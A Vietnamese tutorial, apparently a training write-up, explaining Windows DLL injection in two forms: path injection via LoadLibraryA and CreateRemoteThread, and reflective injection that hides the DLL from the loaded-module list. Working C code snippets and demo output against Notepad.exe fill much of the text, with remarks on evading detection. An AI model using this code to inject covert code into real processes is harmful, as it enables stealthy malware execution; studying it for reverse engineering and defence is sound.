# DLL Injection
DLL viết tắt của Dynamic Link Library – Thư viện liên kết động là một file cho phép người dùng chia sẽ code với những chương trình khác để thực hiện một số nhiệm vụ cụ thể. Nó là một thư viện chức năng bên ngoài, và nó giữ thông tin mà có thể truy cập bởi các loại phần mềm khác nhau. Sử dụng DLL sẽ giúp chúng ta tiết kiện bộ nhớ, cũng chỉ chỉ nạp vào hệ thống khi cần, và cũng có thể được sử dụng bởi nhiều chương trình cùng 1 lúc.
DLL Injection là quá trình chèn code vào một tiến trình (process) đang chạy. Code được sử dụng ở đây là ở dạng thư viện liên kết động (DLL). Tuy nhiên không phải chỉ chèn được code dạng DLL, chúng ta có thể chèn code ở nhiều dạng khác như exe, handwritten, … Điều quan trọng là chúng ta có đủ quyền hệ thống để thao tác với tiến trình của ứng dụng khác hay không. Trong khuôn khổ bài viết này mình sẽ chỉ chia sẻ về DLL Injection.
Windows API đã cung cấp cho chúng ta một vài các hàm để can thiệp và thao tác vào những chương trình khác cho mục đích Debug. Chúng ta sẽ tận dụng các API này để thực hiện chèn DLL.
Có hai cách để thực hiện Inject DLL vào Process đang chạy: Inject đường dẫn của DLL và Inject cả nội dung của file DLL.
Cả hai cách trên đều có các bước thực hiện chung như dưới đây:
- Can thiệp vào process
- Cấp phát một vùng nhớ trong process
- Copy toàn bộ DLL hoặc đường dẫn đến DLL vào vùng nhớ đó và xác định vị trí của vùng nhớ
- Process thực thi DLL
## Inject đường dẫn DLL
### Bước 1: Can thiệp vào Process
Đầu tiên chúng ta cần lấy được handle của process để có thể thao tác với nó. Bước này chúng ta sẽ sử dụng hàm ``OpenProcess()``. Chúng ta cũng cần những yêu cầu về quyền truy cập để thực thi các tác vụ dưới đây. Những quyền truy cập mà chúng ta cần sẽ khác nhau đối với các phiên bản Windows, tuy nhiên hầu hết là như dưới đây:
```cpp=
// argv[1] là Process ID của tiến trình cần can thiệp
HANDLE ph = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ,
FALSE, atoi(argv[1]));
```
### Bước 2: Cấp phát vùng nhớ
Trước khi chèn bất kì thứ gì vào process khác chúng ta đều cần có một chỗ để đặt nó vào. Chúng ta cần cấp phát vùng nhớ để ghi đường dẫn Dll vào. Và chúng ta sẽ sử dụng hàm ``VirtualAllocEx()`` để thực hiện công việc đó. ``VirtualAllocEx()`` lấy dung lượng vùng nhớ cần cấp phát làm tham số truyền vào.
```cpp=
char evildll[] = "C:\\Users\\Dell\\Downloads\\DLL_Injection\\evil.dll";
unsigned int evillen = sizeof(evildll) + 1;
LPVOID rb = VirtualAllocEx(ph, NULL, evillen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
```
### Bước 3: Copy DLL và xác định địa chỉ
Khi đã có vùng nhớ cần thiết, chúng ta sẽ sử dụng hàm ``WriteProcessMemory()`` để thực hiện công việc ghi:
```cpp=
WriteProcessMemory(ph, rb, evildll, evillen, NULL);
```
Tiếp theo chúng ta cần xác định địa chỉ bắt đầu thực thi (``LPTHREAD_START_ROUTINE``) cho hàm ``CreateRemoteThread()``. Ở đây chúng ta sẽ chọn địa chỉ bắt đầu là địa chỉ của hàm ``LoadLibraryA()``. ``LoadLibraryA()`` là hàm trong kernel32.dll để nạp DLL, file thực thi hoặc các loại thư viện khác. Tham số truyền vào của hàm là tên DLL. Nghĩa là chúng ta chỉ cần cấp phát một vùng nhớ, ghi đường dẫn đến DLL và chọn điểm bắt đầu thực thi là địa chỉ của hàm ``LoadLibraryA()``, tham số truyền vào là địa chỉ của vùng nhớ chứa đường dẫn đến DLL.
Nhược điểm chính của hàm ``LoadLibraryA()`` là nó sẽ đăng ký DLL với chương trình nên sẽ dễ bị phát hiện (mỗi chương trình đều có một bảng các DLL sẽ nạp).
Chúng ta sẽ xác định địa chỉ của hàm LoadLibraryA() và chuyển nó đến hàm thực thi cùng với tham số truyền vào là địa chỉ vùng nhớ chứa đường dẫn đến DLL. Để lấy địa chỉ của hàm LoadLibraryA(), ta sẽ sử dụng GetModuleHandle() và GetProcAddress():
```cpp=
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
```
### Bước 4: Thực thi Dll
Hiện tại, DLL đã nằm trong vùng nhớ của process và chúng ta đã có địa chỉ của vùng nhớ đó. Việc cuối cùng cần làm là cho process thực thi nó. Có một vài cách để process thực thi DLL nhưng trong phạm vi bài viết này tôi chỉ trình bày cách sử dụng ``CreateRemoteThread()``. Đây cũng là cách được sử dụng rộng rãi nhất.
```cpp=
HANDLE rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
WaitForSingleObject(rt, INFINITE);
```
Hàm này sẽ tạo ra một tiến trình mới và gọi hàm ``LoadLibraryA`` với tham số là memory chính là đường dẫn file dll. Mục đích của việc này là để nạp file Dll trên vào trong tiến trình đang can thiệp, sau đó thực thi nó từ xa. Vì thế khi khi ``LoadLibraryA`` được thực thi thì cũng là lúc DLLMain cũng được thực thi.
Hàm ``WaitForSingleObject()`` nhằm mục đích dừng tiến trình lại để chờ hành động tiếp theo. Điều này là để xác nhận chắc chắn rằng DLL đã được thực thi trước khi Windows thực thi các công việc tiếp theo của process.
Sau đây là hình ảnh khi thực hiện DLL Injection vào tiến trình Notepad.exe
```
PS C:\Users\Dell\Downloads\DLL_Injection\Inject_1> tasklist | findstr Notepad.exe
Notepad.exe 12312 Console 2 70,404 K
PS C:\Users\Dell\Downloads\DLL_Injection\Inject_1> .\inject1.exe 12312
PID: 12312
```
Kiểm tra bằng Process Explorer, có thể thấy Dll mà chúng ta sử dụng để inject đã được load vào tiến trình Notepad.exe hiện tại
Các bạn có thể tham khảo Source Code ở [đây](https://github.com/noobmannn/TrainRev/blob/e461e75e022cae578ab3a332141b6a8090d4b08f/DLL_Injection/Inject_1/inject1.c)
## Inject nội dung file Dll
### Bước 1: Can thiệp vào Process
Chúng ta cũng sử dụng ``OpenProcess()`` để lấy Handle của process cần Inject vào
```cpp=
HANDLE hProc = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ,
FALSE, atoi(argv[1]));
```
### Bước 2: Cấp phát vùng nhớ
Từ đây sẽ có sự khác biệt so với Inject đường dẫn Dll
Đầu tiên chúng ta cần lấy Handle của Dll bằng ``CreateFileA()``. Sau đó dựa vào Handle vừa lấy được để tính toán kích thước của vùng nhớ mới cần tạo. Và cuối cùng là đưa vào hàm ``VirtualAllocEx()``
```cpp=
wchar_t evildll[] = L"C:\\Users\\Dell\\Downloads\\DLL_Injection\\Inject_2\\reflective_dll.x64.dll";
HANDLE hFile = CreateFileW(evildll, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
unsigned int dllFileLen = GetFileSize(hFile, NULL);
LPVOID remoteDllAddr = VirtualAllocEx(hProc, NULL, dllFileLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
```
### Bước 3: Copy DLL và xác định địa chỉ
Chúng ta cần phải đọc file Dll trước khi ghi nó vào vùng nhớ vừa được khởi tạo bằng ``WriteProcessMemory()``
```cpp=
LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, dllFileLen);
if (!ReadFile(hFile, lpBuffer, dllFileLen, &dwBytesRead, NULL))
{
printf("READ FILE FAIL\n");
return -1;
}
WriteProcessMemory(hProc, remoteDllAddr, lpBuffer, dllFileLen, NULL);
```
Sau khi đọc xong file và ghi nó vào vùng nhớ bên trong process, chúng ta cần xác định địa chỉ bắt đầu thực thi (``LPTHREAD_START_ROUTINE``) cho hàm ``CreateRemoteThread()``.
Với việc chúng ta đã đẩy toàn bộ nội dung của File dll vào bên trong tiến trình, chúng ta không cần phải gọi hàm ``LoadLibraryA`` để nạp dll vào tiến trình nữa. Bằng cách này chúng ta sẽ tránh được việc đăng ký DLL với chương trình.
Tuy nhiên phần khó thực hiện là lấy entry point của DLL khi nó được ghi vào trong vùng nhớ. Ở đây chúng ta sẽ sử dụng hàm ``GetReflectiveLoaderOffset()`` được viết bởi Stephen Fewer để xác định entry point của Dll khi nó được ghi vào tiến trình. Các bạn có thể tham khảo nó ở [đây](https://github.com/stephenfewer/ReflectiveDLLInjection/)
```cpp=
DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);
LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remoteDllAddr + dwReflectiveLoaderOffset);
DWORD dwThreadId = 0;
printf("%x %x", dwReflectiveLoaderOffset, lpReflectiveLoader);
```
### Bước 4: Thực thi Dll
Ở đây chúng ta cũng sử dụng hàm ``CreateRemoteThread()`` để can thiệp vào tiến trình.
```cpp=
rThread = CreateRemoteThread(hProc, NULL, 1024 * 1024, lpReflectiveLoader, remoteDllAddr, (DWORD)0, &dwThreadId);
WaitForSingleObject(rThread, INFINITE);
```
Với việc đã xác định được Entry Point, hàm ``CreateRemoteThread()`` sẽ thực thi luôn Dll Main với điểm bắt đầu là Entry Point chúng ta cung cấp cho hàm
Sau đây là hình ảnh khi thực hiện Inject Dll vào tiến trình Notepad.exe
```
PS C:\Users\Dell\Downloads\DLL_Injection\Inject_2> tasklist | findstr Notepad.exe
Notepad.exe 3172 Console 2 70,476 K
PS C:\Users\Dell\Downloads\DLL_Injection\Inject_2> .\inject2.exe 3172
PID: 3172
44c dac3044c
```
Có thể thấy chúng ta sẽ không tìm được file dll ``reflective_dll.x64.dll`` trong danh sách các tiến trình được nạp vào, vì đơn giản chúng ta không nạp nó vào tiến trình đang chạy bằng ``LoadLibraryA()``
Các bạn có thể tham khảo Source Code ở [đây](https://github.com/noobmannn/TrainRev/blob/e461e75e022cae578ab3a332141b6a8090d4b08f/DLL_Injection/Inject_2/inject2.c)
Sign in with Wallet
Connect another wallet